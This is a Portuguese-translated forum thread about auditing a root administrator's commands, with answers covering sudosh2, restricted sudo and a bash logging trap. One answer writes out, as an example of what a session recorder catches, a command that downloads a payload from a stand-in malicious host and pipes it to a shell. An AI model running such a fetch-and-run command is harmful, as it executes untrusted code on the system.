Registra todos os comandos executados a partir do root

15

Eu quero dar acesso ao meu servidor raiz a um administrador de sistema externo, mas quero verificar o que ele está fazendo no meu servidor, por exemplo, copiando dados que eu não quero que eles façam e assim por diante. Eu também gostaria de ter uma faixa de qualquer arquivo que seja acessado, mesmo em somente leitura e não editado.

Como posso fazer isso?

    
por cedivad 11.04.2012 / 00:24

3 respostas

20

Confie, mas verifique!

Confira sudosh2 . O sudosh2 é fornecido pelas portas do FreeBSD. Pacotes estão disponíveis para RedHat e Ubuntu. Aqui está a descrição do site deles:

sudosh is an auditing shell filter and can be used as a login shell. Sudosh records all keystrokes and output and can play back the session as just like a VCR.

Sudosh permitirá que você repita a sessão do usuário, o que permitirá que você veja todas as entradas e como o usuário viu. Você vê tudo, pressionamentos de teclas, erros de digitação, backspaces, o que eles editaram em vi , a saída de wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh , etc.

É possível enviar logs sudosh para o syslog, para que eles possam ser armazenados em um servidor syslog central longe do sistema.

Note que o sudosh2 é um substituto do sudosh, que foi abandonado pelo autor

Você trabalha em uma instituição acadêmica onde os usuários insistem em ter privilégios de superusuário? Ou você trabalha em uma corporação e quer permitir que os usuários tenham privilégios de superusuário em suas próprias VMs? Essa pode ser a solução para você.

    
por 11.04.2012 / 00:44
21

Não lhe dê acesso root. Em vez disso, dê a ele uma conta de usuário sem privilégios e solicite que ele faça todo o seu trabalho através de sudo , que registrará todos os seus comandos.

Tenha em mente que se essa pessoa tiver más intenções e você lhe der privilégios completos de sudo, ele irá encontrar uma maneira de realizar essas más intenções sem que esses comandos sejam registrados. Nesse caso, apenas conceda a ele acesso aos comandos específicos necessários para realizar seu trabalho.

    
por 11.04.2012 / 00:26
0

Não estou familiarizado com o sudosh2, mas coloquei o seguinte no meu .bashrc para registrar todos os comandos que eu digito em um bash shell no arquivo ~/.command_log :

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

O item acima define um trap em DEBUG , que é executado imediatamente antes de um comando ordinário ser executado. O caller integrado é usado para testar se o comando está sendo digitado em um shell interativo ou executado por meio de algo como .bashrc . O valor ${BASH_COMMAND} contém o comando atualmente sendo executado.

    
por 17.04.2012 / 21:04